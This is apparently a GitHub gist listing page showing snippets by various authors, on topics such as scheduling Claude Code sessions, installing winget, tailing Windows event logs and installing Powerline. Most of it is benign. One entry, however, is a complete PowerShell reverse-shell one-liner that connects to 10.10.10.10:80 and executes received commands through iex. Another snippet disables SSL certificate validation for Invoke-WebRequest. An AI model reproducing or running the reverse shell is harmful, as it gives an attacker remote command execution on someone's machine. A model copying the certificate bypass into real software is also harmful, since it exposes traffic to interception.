Skip to content

Instantly share code, notes, and snippets.

View soulflyman's full-sized avatar

soulflyman

  • Ludwigshafen, Germany
View GitHub Profile
@Codeklopper
Codeklopper / README.md
Last active April 21, 2026 08:51
Trigger Claude Code session start using a systemd timer

Trigger Claude Code session start using a systemd timer

This will start a Claude Code session, so you can optmize the 5 hour token limit window. It will start at the scheduled time or as soon as you log in to your machine.

Tested on Ubuntu 24.04 with nvm.

Step 1: create service and timer

Create the 2 files from this gist in:

@erwinkersten
erwinkersten / winget-cli_on_W2k22.md
Last active June 8, 2026 03:28
Install WIndows Package Manager (winget) on Windows Server 2022

Install Windows Package Manager (winget) on Windows Server 2022

Update: the easiest current method is to use the community winget-install script from PowerShell Gallery. This script installs WinGet and required dependencies automatically.

Run the following from an elevated PowerShell session:

Install-Script -Name winget-install -Force
winget-install -Force
@soulflyman
soulflyman / Get-WinEventTail.ps1
Created September 19, 2023 15:19 — forked from maravedi/Get-WinEventTail.ps1
This function will allow you to tail Windows Event Logs. You specify a Logname for either the original logs, Application, System and Security or the new format for the newer logs Microsoft-Windows-PowerShell/Operational
Function Get-WinEventTail
{
<#
.SYNOPSIS
A tail cmdlet for Eventlogs
.DESCRIPTION
This function will allow you to tail Windows Event Logs. You specify
a Logname for either the original logs, Application, System and Security or
the new format for the newer logs Microsoft-Windows-PowerShell/Operational
.PARAMETER LogName
@elyukai
elyukai / character.schema.json
Last active May 12, 2021 10:23
Character JSON Schema Proposal for Optolith Version 2.x.x (WIP)
{
"$schema": "http://json-schema.org/draft-07/schema",
"title": "Character",
"description": "An exported character object from Optolith. Properties that are intended for external use only and thus are ignored when imported by Optolith are marked as read-only.",
"type": "object",
"properties": {
"version": {
"title": "Optolith Version",
"description": "A valid semantic version (https://semver.org), representing the Optolith version this character was created with.",
"type": "string",
@palimphread
palimphread / soup.io.sh
Last active July 11, 2020 21:15 — forked from fadenb/soup.io.sh
Script for downloading all images posted on a soup (soup.io)
#!/usr/bin/env bash
# Author: Mike Herwig
# Description: Script for downloading all images posted on a soup (soup.io)
#where to download from
HOST="suckup.soup.io"
#this is the regex for matching the images, you might want to update it when soup.io changes their urls
# 2017-02-14: Updated regex to catch new and old URLs
@joeizang
joeizang / README.md
Last active February 3, 2024 01:37 — forked from leosuncin/README.md
Install Powerline on Ubuntu 20.04
  1. Install powerline sudo apt install powerline source /usr/share/powerline/bindings/bash/powerline.sh

  2. Download and install fonts git clone https://github.com/powerline/fonts.git && cd fonts && sh ./install.sh

  3. Add this lines to .bashrc file if bash is what you use. You could add to other files like .zshrc etc. I use bash so there. This ensures that this switch is automatic when you start bash

.bashrc > if [ -f /usr/share/powerline/bindings/bash/powerline.sh ]; then

@jmassardo
jmassardo / Invoke-WebRequest_Ignore_SSL.ps1
Created February 26, 2019 15:19
PowerShell hack to ignore ssl certificates when using Invoke-WebRequest
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
@maravedi
maravedi / Get-WinEventTail.ps1
Last active September 19, 2023 15:19 — forked from jeffpatton1971/Get-WinEventTail.ps1
This function will allow you to tail Windows Event Logs. You specify a Logname for either the original logs, Application, System and Security or the new format for the newer logs Microsoft-Windows-PowerShell/Operational
Function Get-WinEventTail
{
<#
.SYNOPSIS
A tail cmdlet for Eventlogs
.DESCRIPTION
This function will allow you to tail Windows Event Logs. You specify
a Logname for either the original logs, Application, System and Security or
the new format for the newer logs Microsoft-Windows-PowerShell/Operational
.PARAMETER LogName
@egre55
egre55 / powershell_reverse_shell.ps1
Last active July 2, 2026 16:16
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@ISSOtm
ISSOtm / to_c_or_not_to_c.md
Last active June 22, 2021 12:02
Writeup discussing programming toolchains, coding practices, and languages, for GB and GBC dev.

This document is now at https://gbdev.io/guides/tools.html, please go there instead. It's kept here to avoid breaking links and to preserve history.

Previous versions can be checked out by selecting the "Revisions" tab, and selecting "View file" in the three-dot drop-down menu.